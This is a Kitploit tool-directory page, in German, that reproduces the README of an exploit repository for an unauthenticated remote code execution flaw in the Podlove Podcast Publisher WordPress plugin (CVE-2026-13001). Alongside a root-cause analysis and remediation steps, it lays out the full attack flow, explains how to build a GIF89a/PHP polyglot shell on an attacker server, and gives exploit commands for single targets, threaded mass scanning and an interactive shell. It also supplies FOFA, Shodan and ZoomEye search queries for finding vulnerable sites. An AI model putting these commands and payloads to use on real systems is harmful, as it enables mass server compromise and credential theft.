Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-13001 | Kitploit
Tools/GitHubGitHub/ghostpels/cve-2026-13001
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubghostpels/cve-2026-13001

CVE-2026-13001

Repository anzeigen
vor 29 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-13001

Podlove Podcast Publisher <= 4.5.1 — Nicht authentifizierte RCE durch Erweiterungsverwirrung

CVSS 9.8 (Kritisch) | Nicht authentifizierter beliebiger Datei-Upload, der zu Remote Code Execution führt


Überblick

Kritische Schwachstelle im Podlove Podcast Publisher WordPress-Plugin (Versionen bis einschließlich 4.5.1), die es nicht authentifizierten Angreifern ermöglicht, über die Bild-Cache-Funktion beliebige PHP-Dateien auf den Server hochzuladen, was zu Remote Code Execution (RCE) führt.

Die Schwachstelle nutzt eine Diskrepanz zwischen zwei internen Funktionen aus, die Dateierweiterungen unterschiedlich parsen:

FunktionMethodeEingabe: payload.php?.gifErgebnis
is_image()basename() dann pathinfo()payload.php?.gif.gif (Validierung bestanden)
extract_file_extension()parse_url() dann pathinfo()/payload.php.php (auf der Festplatte gespeichert)

Details zur Schwachstelle


Analyse der Grundursache

Die Schwachstelle existiert, weil zwei Funktionen im Podlove-Plugin dieselbe URL parsen, aber unterschiedliche Dateierweiterungen extrahieren:

1. is_image() — Validierung (in lib/helper.php)

root@kitploit:~
// Called with: is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") returns "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) returns "gif"  <- BYPASS!

Die Funktion prüft:

  • Inhaltsbasierte Prüfung über exif_imagetype() - erfordert einen gültigen Bild-Header (GIF89a)
  • WordPress-Dateitypprüfung über wp_check_filetype_and_ext()
  • Denylist für Erweiterungen (php, php3, php4, php5, phtml, phar usw.)

Da basename() den Query-String einschließt, erscheint die Erweiterung als gif - nicht in der Denylist enthalten.

2. extract_file_extension() — Dateibenennung (in lib/model/image.php)

root@kitploit:~
// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php"  (query string stripped!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) returns "php"

Die Datei wird mit der Erweiterung .php auf der Festplatte gespeichert.


Angriffsablauf

root@kitploit:~
1. Attacker hosts GIF89a PHP polyglot at: attacker.com/payload.php
   (File starts with GIF89a header but contains PHP code)

2. Exploit appends ?.gif to URL: payload.php?.gif
   Then hex-encodes the full URL

3. Trigger cache download:
   GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test

4. Plugin processing:
   a. Downloads file from attacker URL
   b. is_image() checks content: GIF89a header detected - PASS
   c. is_image() checks extension: basename sees "gif" - PASS
   d. extract_file_extension() uses parse_url path: gets "php"
   e. File saved as: test_original.php

5. File location:
   /wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php

6. Attacker accesses the file with parameters -> RCE achieved

Installation

root@kitploit:~
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

Verwendung

Einzelnes Ziel

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test -v

Massen-Scan

root@kitploit:~
python3 exploit.py -f targets.txt \
  -s https://yourserver.com/shell_polyglot.gif.php \
  -o vuln.txt -t 15 -v

Interaktiver Modus (direkter Zugriff auf die hochgeladene Datei)

root@kitploit:~
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php

Debug-Modus

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test --debug

Optionen

root@kitploit:~
-u, --url          Single target URL
-f, --file         File containing target URLs (one per line)
-s, --shell        URL hosting the GIF89a PHP polyglot
--filename         Custom filename for cached file (default: shell)
--shell-url        Direct URL for interactive mode
-o, --output       Output file for vulnerable targets (bulk mode)
-t, --threads      Number of threads (default: 10)
-v, --verbose      Verbose output
--debug            Debug output (show all HTTP requests)
--no-payload-test  Skip payload accessibility test

Payload: GIF89a-PHP-Polyglot

Die Datei shell_polyglot.gif.php ist eine Polyglot-Datei, die sowohl als GIF-Bild als auch als PHP gültig ist:

root@kitploit:~
GIF89a        <- Valid GIF header (passes exif_imagetype check)
/*            <- Start of comment (GIF binary data is commented out for PHP)

<?php         <- PHP code begins here
// ... code ...
?>

Wichtig: Die Polyglot-Datei muss als statische Datei gehostet werden (z. B. Cloudflare R2, AWS S3, nginx ohne PHP). Wenn der Hosting-Server PHP verarbeitet, wird der Code auf dem Hosting-Server ausgeführt, anstatt als Rohinhalt an das Ziel geliefert zu werden.


FOFA / Shodan / ZoomEye

root@kitploit:~
# FOFA
body="podlove-podcasting-plugin-for-wordpress"

# Shodan
http.html:"podlove"

# ZoomEye
app:"Podlove Podcast Publisher"

Auswirkungen

Eine erfolgreiche Ausnutzung führt zu Remote Code Execution als Webserver-Benutzer:

  • Extrahieren von Datenbank-Zugangsdaten aus wp-config.php
  • Zugriff auf alle WordPress-Benutzer, Beiträge und Plugin-Daten
  • Installieren dauerhafter Zugriffsmechanismen
  • Wechsel in interne Netzwerke (Pivoting)
  • Vollständige Kompromittierung des Servers

Behebung

  1. Aktualisieren Sie auf Podlove Podcast Publisher 4.5.2 oder neuer
  2. Löschen Sie den Inhalt des Verzeichnisses wp-content/cache/podlove/
  3. Prüfen Sie den Server auf unbekannte PHP-Dateien in Cache-Verzeichnissen
  4. Überwachen Sie Zugriffsprotokolle auf verdächtige podlove_image_cache_url-Anfragen

Beziehung zu CVE-2025-10147

Diese Schwachstelle ist eine Umgehung des Fixes für CVE-2025-10147 (Podlove <= 4.2.6).

AspektCVE-2025-10147 (v4.2.6)CVE-2026-13001 (v4.5.1)
GrundursacheÜberhaupt keine Dateitypvalidierung

Siehe analysis/CVE_COMPARISON.md für einen detaillierten Vergleich.


Referenzen

  • Wordfence-Sicherheitshinweis
  • GitHub-Fix-Commit
  • WordPress-Plugin-Seite
  • NVD-Eintrag

Haftungsausschluss

NUR FÜR BILDUNGSZWECKE UND AUTORISIERTE TESTS.

Dieses Tool richtet sich an Sicherheitsforscher und Penetrationstester mit ausdrücklicher schriftlicher Genehmigung zum Testen von Zielsystemen. Unautorisierter Zugriff auf Computersysteme ist illegal. Die Autoren übernehmen keine Haftung für den Missbrauch dieses Tools.


Autor

ghostpel-sec — Sicherheitsforschung & Exploit-Entwicklung

Lizenz

Dieses Projekt ist unter der ghostpel-sec Security Research License lizenziert.

Tool herunterladen
FeldWert
CVE-IDCVE-2026-13001
CVSS9.8 (Kritisch)
CWECWE-20 (Unzureichende Eingabevalidierung)
PluginPodlove Podcast Publisher
BetroffenVersionen bis einschließlich 4.5.1
Behoben4.5.2
TypNicht authentifizierter beliebiger Datei-Upload zu RCE
ForscherTalal Nasraddeen (über Wordfence)
Veröffentlicht14. Juli 2026
Validierungsumgehung durch Erweiterungsverwirrung
TechnikDirekter PHP-Datei-UploadGIF89a-Polyglot + URL-Query-Trick
Angewendeter Fixis_image() mit Denylist hinzugefügtKonsistente Erweiterungs-Analyse korrigiert